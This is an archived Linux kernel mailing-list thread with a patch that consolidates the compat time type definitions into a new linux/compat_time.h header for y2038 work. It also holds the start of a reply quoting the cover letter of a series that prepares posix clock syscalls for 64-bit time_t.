Xref: news.gmane.org gmane.linux.kernel:2626314 gmane.linux.kernel.year-2038:2355 gmane.linux.ports.mips.general:62333 gmane.linux.ports.parisc:28016 gmane.linux.ports.ppc64.devel:150596 gmane.linux.oprofile:13115 gmane.linux.ports.sparc:26923
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2626314>

All the current architecture specific defines for these
are the same. Refactor these common defines to a common
header file.

The new common linux/compat_time.h is also useful as it
will eventually be used to hold all the defines that
are needed for compat time types that support non y2038
safe types. New architectures need not have to define these
new types as they will only use new y2038 safe syscalls.
This file can be deleted after y2038 when we stop supporting
non y2038 safe syscalls.

The patch also requires an operation similar to:

git grep "asm/compat\.h" | cut -d ":" -f 1 |  xargs -n 1 sed -i -e "s%asm/compat.h%linux/compat.h%g"

Cc: acme@kernel.org
Cc: benh@kernel.crashing.org
Cc: borntraeger@de.ibm.com
Cc: catalin.marinas@arm.com
Cc: cmetcalf@mellanox.com
Cc: cohuck@redhat.com
Cc: davem@davemloft.net
Cc: deller@gmx.de
Cc: devel@driverdev.osuosl.org
Cc: gerald.schaefer@de.ibm.com
Cc: gregkh@linuxfoundation.org
Cc: heiko.carstens@de.ibm.com
Cc: hoeppner@linux.vnet.ibm.com
Cc: hpa@zytor.com
Cc: jejb@parisc-linux.org
Cc: jwi@linux.vnet.ibm.com
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: mark.rutland@arm.com
Cc: mingo@redhat.com
Cc: mpe@ellerman.id.au
Cc: oberpar@linux.vnet.ibm.com
Cc: oprofile-list@lists.sf.net
Cc: paulus@samba.org
Cc: peterz@infradead.org
Cc: ralf@linux-mips.org
Cc: rostedt@goodmis.org
Cc: rric@kernel.org
Cc: schwidefsky@de.ibm.com
Cc: sebott@linux.vnet.ibm.com
Cc: sparclinux@vger.kernel.org
Cc: sth@linux.vnet.ibm.com
Cc: ubraun@linux.vnet.ibm.com
Cc: will.deacon@arm.com
Cc: x86@kernel.org
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Signed-off-by: Deepa Dinamani <deepa.kernel@gmail.com>
Acked-by: Steven Rostedt (VMware) <rostedt@goodmis.org>
---
 arch/arm64/include/asm/compat.h   | 11 -----------
 arch/arm64/include/asm/stat.h     |  1 +
 arch/arm64/kernel/hw_breakpoint.c |  1 -
 arch/arm64/kernel/perf_regs.c     |  2 +-
 arch/arm64/kernel/process.c       |  1 -
 arch/mips/include/asm/compat.h    | 11 -----------
 arch/mips/kernel/signal32.c       |  2 +-
 arch/parisc/include/asm/compat.h  | 11 -----------
 arch/powerpc/include/asm/compat.h | 11 -----------
 arch/powerpc/kernel/asm-offsets.c |  2 +-
 arch/powerpc/oprofile/backtrace.c |  2 +-
 arch/s390/hypfs/hypfs_sprp.c      |  1 -
 arch/s390/include/asm/compat.h    | 11 -----------
 arch/s390/include/asm/elf.h       |  3 +--
 arch/s390/kvm/priv.c              |  1 -
 arch/s390/pci/pci_clp.c           |  1 -
 arch/sparc/include/asm/compat.h   | 11 -----------
 arch/tile/include/asm/compat.h    | 11 -----------
 arch/x86/events/core.c            |  2 +-
 arch/x86/include/asm/compat.h     | 11 -----------
 arch/x86/include/asm/ftrace.h     |  2 +-
 arch/x86/include/asm/sys_ia32.h   |  2 +-
 arch/x86/kernel/sys_x86_64.c      |  2 +-
 drivers/s390/block/dasd_ioctl.c   |  1 -
 drivers/s390/char/fs3270.c        |  1 -
 drivers/s390/char/sclp_ctl.c      |  1 -
 drivers/s390/char/vmcp.c          |  1 -
 drivers/s390/cio/chsc_sch.c       |  1 -
 drivers/s390/net/qeth_core_main.c |  2 +-
 drivers/staging/pi433/pi433_if.c  |  2 +-
 include/linux/compat.h            |  1 +
 include/linux/compat_time.h       | 19 +++++++++++++++++++
 32 files changed, 32 insertions(+), 110 deletions(-)
 create mode 100644 include/linux/compat_time.h

diff --git a/arch/arm64/include/asm/compat.h b/arch/arm64/include/asm/compat.h
index a3c7f271ad4c..977b5064afc1 100644
--- a/arch/arm64/include/asm/compat.h
+++ b/arch/arm64/include/asm/compat.h
@@ -34,7 +34,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u16		__compat_uid_t;
@@ -66,16 +65,6 @@ typedef u32		compat_ulong_t;
 typedef u64		compat_u64;
 typedef u32		compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 #ifdef __AARCH64EB__
 	short		st_dev;
diff --git a/arch/arm64/include/asm/stat.h b/arch/arm64/include/asm/stat.h
index 15e35598ac40..eab738019707 100644
--- a/arch/arm64/include/asm/stat.h
+++ b/arch/arm64/include/asm/stat.h
@@ -20,6 +20,7 @@
 
 #ifdef CONFIG_COMPAT
 
+#include <linux/compat_time.h>
 #include <asm/compat.h>
 
 /*
diff --git a/arch/arm64/kernel/hw_breakpoint.c b/arch/arm64/kernel/hw_breakpoint.c
index 749f81779420..bfa2b78cf0e3 100644
--- a/arch/arm64/kernel/hw_breakpoint.c
+++ b/arch/arm64/kernel/hw_breakpoint.c
@@ -29,7 +29,6 @@
 #include <linux/ptrace.h>
 #include <linux/smp.h>
 
-#include <asm/compat.h>
 #include <asm/current.h>
 #include <asm/debug-monitors.h>
 #include <asm/hw_breakpoint.h>
diff --git a/arch/arm64/kernel/perf_regs.c b/arch/arm64/kernel/perf_regs.c
index 1d091d048d04..929fc369d0be 100644
--- a/arch/arm64/kernel/perf_regs.c
+++ b/arch/arm64/kernel/perf_regs.c
@@ -5,7 +5,7 @@
 #include <linux/bug.h>
 #include <linux/sched/task_stack.h>
 
-#include <asm/compat.h>
+#include <linux/compat.h>
 #include <asm/perf_regs.h>
 #include <asm/ptrace.h>
 
diff --git a/arch/arm64/kernel/process.c b/arch/arm64/kernel/process.c
index b2adcce7bc18..1acb3097d35b 100644
--- a/arch/arm64/kernel/process.c
+++ b/arch/arm64/kernel/process.c
@@ -52,7 +52,6 @@
 #include <linux/thread_info.h>
 
 #include <asm/alternative.h>
-#include <asm/compat.h>
 #include <asm/cacheflush.h>
 #include <asm/exec.h>
 #include <asm/fpsimd.h>
diff --git a/arch/mips/include/asm/compat.h b/arch/mips/include/asm/compat.h
index 49691331ada4..ccbf14e33282 100644
--- a/arch/mips/include/asm/compat.h
+++ b/arch/mips/include/asm/compat.h
@@ -14,7 +14,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_suseconds_t;
 
@@ -46,16 +45,6 @@ typedef u32		compat_ulong_t;
 typedef u64		compat_u64;
 typedef u32		compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t	st_dev;
 	s32		st_pad1[3];
diff --git a/arch/mips/kernel/signal32.c b/arch/mips/kernel/signal32.c
index cf5c7c05e5a3..a6b04c70a8cb 100644
--- a/arch/mips/kernel/signal32.c
+++ b/arch/mips/kernel/signal32.c
@@ -14,7 +14,7 @@
 #include <linux/signal.h>
 #include <linux/syscalls.h>
 
-#include <asm/compat.h>
+#include <linux/compat.h>
 #include <asm/compat-signal.h>
 #include <linux/uaccess.h>
 #include <asm/unistd.h>
diff --git a/arch/parisc/include/asm/compat.h b/arch/parisc/include/asm/compat.h
index acf8aa07cbe0..90f844b16beb 100644
--- a/arch/parisc/include/asm/compat.h
+++ b/arch/parisc/include/asm/compat.h
@@ -13,7 +13,6 @@
 
 typedef u32	compat_size_t;
 typedef s32	compat_ssize_t;
-typedef s32	compat_time_t;
 typedef s32	compat_clock_t;
 typedef s32	compat_pid_t;
 typedef u32	__compat_uid_t;
@@ -40,16 +39,6 @@ typedef u32	compat_ulong_t;
 typedef u64	compat_u64;
 typedef u32	compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t		tv_sec;
-	s32			tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t		tv_sec;
-	s32			tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t		st_dev;	/* dev_t is 32 bits on parisc */
 	compat_ino_t		st_ino;	/* 32 bits */
diff --git a/arch/powerpc/include/asm/compat.h b/arch/powerpc/include/asm/compat.h
index 8a2aecfe9b02..517dbcfc2240 100644
--- a/arch/powerpc/include/asm/compat.h
+++ b/arch/powerpc/include/asm/compat.h
@@ -17,7 +17,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u32		__compat_uid_t;
@@ -45,16 +44,6 @@ typedef u32		compat_ulong_t;
 typedef u64		compat_u64;
 typedef u32		compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t	st_dev;
 	compat_ino_t	st_ino;
diff --git a/arch/powerpc/kernel/asm-offsets.c b/arch/powerpc/kernel/asm-offsets.c
index 6b958414b4e0..a25cbe6482e2 100644
--- a/arch/powerpc/kernel/asm-offsets.c
+++ b/arch/powerpc/kernel/asm-offsets.c
@@ -42,7 +42,7 @@
 #include <asm/paca.h>
 #include <asm/lppaca.h>
 #include <asm/cache.h>
-#include <asm/compat.h>
+#include <linux/compat.h>
 #include <asm/mmu.h>
 #include <asm/hvcall.h>
 #include <asm/xics.h>
diff --git a/arch/powerpc/oprofile/backtrace.c b/arch/powerpc/oprofile/backtrace.c
index ecc66d5f02c9..11ff763c03ad 100644
--- a/arch/powerpc/oprofile/backtrace.c
+++ b/arch/powerpc/oprofile/backtrace.c
@@ -11,7 +11,7 @@
 #include <linux/sched.h>
 #include <asm/processor.h>
 #include <linux/uaccess.h>
-#include <asm/compat.h>
+#include <linux/compat.h>
 #include <asm/oprofile_impl.h>
 
 #define STACK_SP(STACK)		*(STACK)
diff --git a/arch/s390/hypfs/hypfs_sprp.c b/arch/s390/hypfs/hypfs_sprp.c
index ae0ed8dd5f1b..5d85a039391c 100644
--- a/arch/s390/hypfs/hypfs_sprp.c
+++ b/arch/s390/hypfs/hypfs_sprp.c
@@ -13,7 +13,6 @@
 #include <linux/string.h>
 #include <linux/types.h>
 #include <linux/uaccess.h>
-#include <asm/compat.h>
 #include <asm/diag.h>
 #include <asm/sclp.h>
 #include "hypfs.h"
diff --git a/arch/s390/include/asm/compat.h b/arch/s390/include/asm/compat.h
index 5e6a63641a5f..7e587eb9fb58 100644
--- a/arch/s390/include/asm/compat.h
+++ b/arch/s390/include/asm/compat.h
@@ -53,7 +53,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u16		__compat_uid_t;
@@ -97,16 +96,6 @@ typedef struct {
 	u32 gprs_high[NUM_GPRS];
 } s390_compat_regs_high;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t	st_dev;
 	u16		__pad1;
diff --git a/arch/s390/include/asm/elf.h b/arch/s390/include/asm/elf.h
index 1a61b1b997f2..3e15c77c7c9a 100644
--- a/arch/s390/include/asm/elf.h
+++ b/arch/s390/include/asm/elf.h
@@ -126,7 +126,7 @@
  */
 
 #include <asm/ptrace.h>
-#include <asm/compat.h>
+#include <linux/compat.h>
 #include <asm/syscall.h>
 #include <asm/user.h>
 
@@ -136,7 +136,6 @@ typedef s390_regs elf_gregset_t;
 typedef s390_fp_regs compat_elf_fpregset_t;
 typedef s390_compat_regs compat_elf_gregset_t;
 
-#include <linux/compat.h>
 #include <linux/sched/mm.h>	/* for task_struct */
 #include <asm/mmu_context.h>
 
diff --git a/arch/s390/kvm/priv.c b/arch/s390/kvm/priv.c
index c954ac49eee4..07eebba4bd37 100644
--- a/arch/s390/kvm/priv.c
+++ b/arch/s390/kvm/priv.c
@@ -29,7 +29,6 @@
 #include <asm/gmap.h>
 #include <asm/io.h>
 #include <asm/ptrace.h>
-#include <asm/compat.h>
 #include <asm/sclp.h>
 #include "gaccess.h"
 #include "kvm-s390.h"
diff --git a/arch/s390/pci/pci_clp.c b/arch/s390/pci/pci_clp.c
index 93cd0f1ca12b..19b2d2a9b43d 100644
--- a/arch/s390/pci/pci_clp.c
+++ b/arch/s390/pci/pci_clp.c
@@ -19,7 +19,6 @@
 #include <linux/uaccess.h>
 #include <asm/pci_debug.h>
 #include <asm/pci_clp.h>
-#include <asm/compat.h>
 #include <asm/clp.h>
 #include <uapi/asm/clp.h>
 
diff --git a/arch/sparc/include/asm/compat.h b/arch/sparc/include/asm/compat.h
index fa38c78de0f0..5b49b6a66cdb 100644
--- a/arch/sparc/include/asm/compat.h
+++ b/arch/sparc/include/asm/compat.h
@@ -11,7 +11,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u16		__compat_uid_t;
@@ -39,16 +38,6 @@ typedef u32		compat_ulong_t;
 typedef u64		compat_u64;
 typedef u32		compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t	st_dev;
 	compat_ino_t	st_ino;
diff --git a/arch/tile/include/asm/compat.h b/arch/tile/include/asm/compat.h
index 62a7b83025dd..21ab5b80f5c7 100644
--- a/arch/tile/include/asm/compat.h
+++ b/arch/tile/include/asm/compat.h
@@ -29,7 +29,6 @@ typedef u32		compat_ulong_t;
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
 typedef s32		compat_off_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef u32		compat_ino_t;
 typedef u32		compat_caddr_t;
@@ -59,16 +58,6 @@ typedef unsigned long compat_elf_greg_t;
 #define COMPAT_ELF_NGREG (sizeof(struct pt_regs) / sizeof(compat_elf_greg_t))
 typedef compat_elf_greg_t compat_elf_gregset_t[COMPAT_ELF_NGREG];
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 #define compat_stat stat
 #define compat_statfs statfs
 
diff --git a/arch/x86/events/core.c b/arch/x86/events/core.c
index 140d33288e78..6b8961912781 100644
--- a/arch/x86/events/core.c
+++ b/arch/x86/events/core.c
@@ -2391,7 +2391,7 @@ static unsigned long get_segment_base(unsigned int segment)
 
 #ifdef CONFIG_IA32_EMULATION
 
-#include <asm/compat.h>
+#include <linux/compat.h>
 
 static inline int
 perf_callchain_user32(struct pt_regs *regs, struct perf_callchain_entry_ctx *entry)
diff --git a/arch/x86/include/asm/compat.h b/arch/x86/include/asm/compat.h
index 2cbd75dd2fd3..160804ed875e 100644
--- a/arch/x86/include/asm/compat.h
+++ b/arch/x86/include/asm/compat.h
@@ -17,7 +17,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u16		__compat_uid_t;
@@ -46,16 +45,6 @@ typedef u32		compat_u32;
 typedef u64 __attribute__((aligned(4))) compat_u64;
 typedef u32		compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t	st_dev;
 	u16		__pad1;
diff --git a/arch/x86/include/asm/ftrace.h b/arch/x86/include/asm/ftrace.h
index 09ad88572746..db25aa15b705 100644
--- a/arch/x86/include/asm/ftrace.h
+++ b/arch/x86/include/asm/ftrace.h
@@ -49,7 +49,7 @@ int ftrace_int3_handler(struct pt_regs *regs);
 #if !defined(__ASSEMBLY__) && !defined(COMPILE_OFFSETS)
 
 #if defined(CONFIG_FTRACE_SYSCALLS) && defined(CONFIG_IA32_EMULATION)
-#include <asm/compat.h>
+#include <linux/compat.h>
 
 /*
  * Because ia32 syscalls do not map to x86_64 syscall numbers
diff --git a/arch/x86/include/asm/sys_ia32.h b/arch/x86/include/asm/sys_ia32.h
index 82c34ee25a65..8527b26ad36f 100644
--- a/arch/x86/include/asm/sys_ia32.h
+++ b/arch/x86/include/asm/sys_ia32.h
@@ -16,7 +16,7 @@
 #include <linux/linkage.h>
 #include <linux/types.h>
 #include <linux/signal.h>
-#include <asm/compat.h>
+#include <linux/compat.h>
 #include <asm/ia32.h>
 
 /* ia32/sys_ia32.c */
diff --git a/arch/x86/kernel/sys_x86_64.c b/arch/x86/kernel/sys_x86_64.c
index 676774b9bb8d..9d8ea652e31c 100644
--- a/arch/x86/kernel/sys_x86_64.c
+++ b/arch/x86/kernel/sys_x86_64.c
@@ -19,7 +19,7 @@
 #include <linux/elf.h>
 
 #include <asm/elf.h>
-#include <asm/compat.h>
+#include <linux/compat.h>
 #include <asm/ia32.h>
 #include <asm/syscalls.h>
 #include <asm/mpx.h>
diff --git a/drivers/s390/block/dasd_ioctl.c b/drivers/s390/block/dasd_ioctl.c
index 7bdc6aaa0ba3..2016e0ed5865 100644
--- a/drivers/s390/block/dasd_ioctl.c
+++ b/drivers/s390/block/dasd_ioctl.c
@@ -18,7 +18,6 @@
 #include <linux/fs.h>
 #include <linux/blkpg.h>
 #include <linux/slab.h>
-#include <asm/compat.h>
 #include <asm/ccwdev.h>
 #include <asm/schid.h>
 #include <asm/cmb.h>
diff --git a/drivers/s390/char/fs3270.c b/drivers/s390/char/fs3270.c
index 61822480a2a0..16a4e8528bbc 100644
--- a/drivers/s390/char/fs3270.c
+++ b/drivers/s390/char/fs3270.c
@@ -19,7 +19,6 @@
 #include <linux/slab.h>
 #include <linux/types.h>
 
-#include <asm/compat.h>
 #include <asm/ccwdev.h>
 #include <asm/cio.h>
 #include <asm/ebcdic.h>
diff --git a/drivers/s390/char/sclp_ctl.c b/drivers/s390/char/sclp_ctl.c
index a78cea0c3a09..248b5db3eaa8 100644
--- a/drivers/s390/char/sclp_ctl.c
+++ b/drivers/s390/char/sclp_ctl.c
@@ -14,7 +14,6 @@
 #include <linux/init.h>
 #include <linux/ioctl.h>
 #include <linux/fs.h>
-#include <asm/compat.h>
 #include <asm/sclp_ctl.h>
 #include <asm/sclp.h>
 
diff --git a/drivers/s390/char/vmcp.c b/drivers/s390/char/vmcp.c
index 17e411c57576..948ce82a7725 100644
--- a/drivers/s390/char/vmcp.c
+++ b/drivers/s390/char/vmcp.c
@@ -23,7 +23,6 @@
 #include <linux/mutex.h>
 #include <linux/cma.h>
 #include <linux/mm.h>
-#include <asm/compat.h>
 #include <asm/cpcmd.h>
 #include <asm/debug.h>
 #include <asm/vmcp.h>
diff --git a/drivers/s390/cio/chsc_sch.c b/drivers/s390/cio/chsc_sch.c
index 0015729d917d..8d9f36625ba5 100644
--- a/drivers/s390/cio/chsc_sch.c
+++ b/drivers/s390/cio/chsc_sch.c
@@ -16,7 +16,6 @@
 #include <linux/miscdevice.h>
 #include <linux/kernel_stat.h>
 
-#include <asm/compat.h>
 #include <asm/cio.h>
 #include <asm/chsc.h>
 #include <asm/isc.h>
diff --git a/drivers/s390/net/qeth_core_main.c b/drivers/s390/net/qeth_core_main.c
index 98a7f84540ab..a93591c6c9b0 100644
--- a/drivers/s390/net/qeth_core_main.c
+++ b/drivers/s390/net/qeth_core_main.c
@@ -27,7 +27,7 @@
 #include <asm/chpid.h>
 #include <asm/io.h>
 #include <asm/sysinfo.h>
-#include <asm/compat.h>
+#include <linux/compat.h>
 #include <asm/diag.h>
 #include <asm/cio.h>
 #include <asm/ccwdev.h>
diff --git a/drivers/staging/pi433/pi433_if.c b/drivers/staging/pi433/pi433_if.c
index 2a205c6173dc..473831ff8745 100644
--- a/drivers/staging/pi433/pi433_if.c
+++ b/drivers/staging/pi433/pi433_if.c
@@ -48,7 +48,7 @@
 #include <linux/wait.h>
 #include <linux/spi/spi.h>
 #ifdef CONFIG_COMPAT
-#include <asm/compat.h>
+#include <linux/compat.h>
 #endif
 
 #include "pi433_if.h"
diff --git a/include/linux/compat.h b/include/linux/compat.h
index b24aaf66feb4..2f79dac5ed65 100644
--- a/include/linux/compat.h
+++ b/include/linux/compat.h
@@ -7,6 +7,7 @@
  */
 
 #include <linux/types.h>
+#include <linux/compat_time.h>
 
 #include <linux/stat.h>
 #include <linux/param.h>	/* for HZ */
diff --git a/include/linux/compat_time.h b/include/linux/compat_time.h
new file mode 100644
index 000000000000..56a54a1e4355
--- /dev/null
+++ b/include/linux/compat_time.h
@@ -0,0 +1,19 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef _LINUX_COMPAT_TIME_H
+#define _LINUX_COMPAT_TIME_H
+
+#include <linux/types.h>
+
+typedef s32		compat_time_t;
+
+struct compat_timespec {
+	compat_time_t	tv_sec;
+	s32		tv_nsec;
+};
+
+struct compat_timeval {
+	compat_time_t	tv_sec;
+	s32		tv_usec;
+};
+
+#endif /* _LINUX_COMPAT_TIME_H */
-- 
2.14.1



From - Thu Nov 08 21:40:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.kernel.year-2038,gmane.linux.kernel.api,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.oprofile,gmane.linux.ports.sparc
Subject: Re: [PATCH v2 00/10] posix_clocks: Prepare syscalls for 64 bit time_t conversion
Date: Mon, 27 Nov 2017 22:58:36 +0100
Lines: 74
Approved: news@gmane.org
Message-ID: <CAK8P3a2pcpQqf_TNGVxLBePBSKYhxD90UN-FjBor4d-dKhAwbQ@mail.gmail.com>
References: <20171127193037.8711-1-deepa.kernel@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1511819928 31941 195.159.176.226 (27 Nov 2017 21:58:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 27 Nov 2017 21:58:48 +0000 (UTC)
Cc: Thomas Gleixner <tglx@linutronix.de>,
        John Stultz <john.stultz@linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Arnaldo Carvalho de Melo <acme@kernel.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Christian Borntraeger <borntraeger@de.ibm.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Metcalf <cmetcalf@mellanox.com>, cohuck@redhat.com,
        David Miller <davem@davemloft.net>,
        Helge Deller <deller@gmx.de>, devel@driverdev.osuosl.org,
        gerald.schaefer@de.ibm.com, gregkh <gregkh@linuxfoundation.org>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Jan Hoeppner <hoeppner@linux.vnet.ibm.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Julian Wiedmann
To: Deepa Dinamani <deepa.kernel@gmail.com>
Original-X-From: linux-arch-owner@vger.kernel.org Mon Nov 27 22:58:39 2017
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1eJRQA-0002vQ-OC
	for glka-linux-arch@m.gmane.org; Mon, 27 Nov 2017 22:58:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752665AbdK0V6l (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Mon, 27 Nov 2017 16:58:41 -0500
Original-Received: from mail-ot0-f193.google.com ([74.125.82.193]:39229 "EHLO
        mail-ot0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752051AbdK0V6i (ORCPT
        <rfc822;linux-arch@vger.kernel.org>); Mon, 27 Nov 2017 16:58:38 -0500
Original-Received: by mail-ot0-f193.google.com with SMTP id v15so25636269ote.6;
        Mon, 27 Nov 2017 13:58:37 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=Gzda+Nc8Imjuh/KDTEuL2OSCVh1qb8x0xC5d37cenNE=;
        b=s0q3Sc4aGtTlsOt9vK1DHxT13WamsQ+LOq/8mQWoa2jSI1j3jtdtN+JT8ocKzVQUS6
         UlIRujnjIZHpQYcyk5emUJkwCMWMa+o+iEhNOv9nZrRg0KfBW+JE/VHhSGDGym2daa0I
         VX9TsCtxT8ARt8K7vI5DnlI5g/t7chGLyHJoter4hd0W1lohWTIJwxKYVUEcMmMUMp6M
         93LP6JlxPer+nBd6YBlQl3cFkWYc9PzygSMwajcQFByFBAOLpfa9AfVcvZJ0EC3HoAOm
         58CfJxmO2gnMdWeXMfVs5oZLfLEAFQYyZ8wXMmGU0q3p3mBHfXMtgu2GnIgAnsa4kgvi
         Xq0g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=Gzda+Nc8Imjuh/KDTEuL2OSCVh1qb8x0xC5d37cenNE=;
        b=VscfMpm40krqNO4EP9yZ2yms2Ta+iZzQhgPkxM3xQiQhOO/Y39VNb+doZqSWapPXKQ
         zwwwCXFaQxGvJbJS3aEmZ7DEALsbqMR0+EuwWLs1xCCr/uULvqg9gSDuwpM8+R3rSf8Q
         aHOVnijzyuHLDCzeQNpbLQW9K1t7+jkxCl5/lg4m40dHKKzEO9GccAYYlFhPfBF6f3DQ
         oIwd+lEDW7ZurfLQ4PAyQxzhM1PaTpnQF92qDjGry1D59RPdY5ZNzcJujKrL3glAUB1h
         9WKY9McejVNJOb7eZBCzPTIsH93oZ4w+b0TBZdJuKx6CbL58mETMb6yebCovBH192HKp
         AKAA==
X-Gm-Message-State: AJaThX6/mzeMY846iGDFcrRUC3O251EbB33+BkVgPfqIJI4afSd3Sxtr
        IN07dD838onqPVZLp0yTdSHoQSbLJrHOTNIRnEA=
X-Google-Smtp-Source: AGs4zMZJYhM175BGS16AeFskx3P+MYn4LVr3VnsWDo6/ukdzwgEAvsKxu4T16RWpXTDaytHcsdPQfo04i7bRFwGxsIo=
X-Received: by 10.157.12.147 with SMTP id b19mr27076029otb.229.1511819917367;
 Mon, 27 Nov 2017 13:58:37 -0800 (PST)
Original-Received: by 10.157.43.3 with HTTP; Mon, 27 Nov 2017 13:58:36 -0800 (PST)
In-Reply-To: <20171127193037.8711-1-deepa.kernel@gmail.com>
X-Google-Sender-Auth: ePx-bqahvx1XbWy7Bt8HGp7O9vo
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:40305 gmane.linux.kernel:2626484 gmane.linux.kernel.year-2038:2368 gmane.linux.kernel.api:25993 gmane.linux.ports.mips.general:62337 gmane.linux.ports.parisc:28017 gmane.linux.ports.ppc64.devel:150607 gmane.linux.oprofile:13116 gmane.linux.ports.sparc:26924
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/40305>

On Mon, Nov 27, 2017 at 8:30 PM, Deepa Dinamani <deepa.kernel@gmail.com> wrote:
> The series is a preparation series for individual architectures
> to use 64 bit time_t syscalls in compat and 32 bit emulation modes.
>
> This is a follow up to the series Arnd Bergmann posted:
> https://sourceware.org/ml/libc-alpha/2015-05/msg00070.html [1]
>
> Big picture is as per the lwn article:
> https://lwn.net/Articles/643234/ [2]
>
> The series is directed at converting posix clock syscalls:
> clock_gettime, clock_settime, clock_getres and clock_nanosleep
> to use a new data structure __kernel_timespec at syscall boundaries.
> __kernel_timespec maintains 64 bit time_t across all execution modes.
>
> vdso will be handled as part of each architecture when they enable
> support for 64 bit time_t.
>
> The compat syscalls are repurposed to provide backward compatibility
> by using them as native syscalls as well for 32 bit architectures.
> They will continue to use timespec at syscall boundaries.
>
> CONFIG_64_BIT_TIME controls whether the syscalls use __kernel_timespec
> or timespec at syscall boundaries.
>
> The series does the following:
> 1. Enable compat syscalls on 32 bit architectures.
> 2. Add a new __kernel_timespec type to be used as the data structure
>    for all the new syscalls.
> 3. Add new config CONFIG_64BIT_TIME(intead of the CONFIG_COMPAT_TIME in
>    [1] and [2] to switch to new definition of __kernel_timespec. It is
>    the same as struct timespec otherwise.
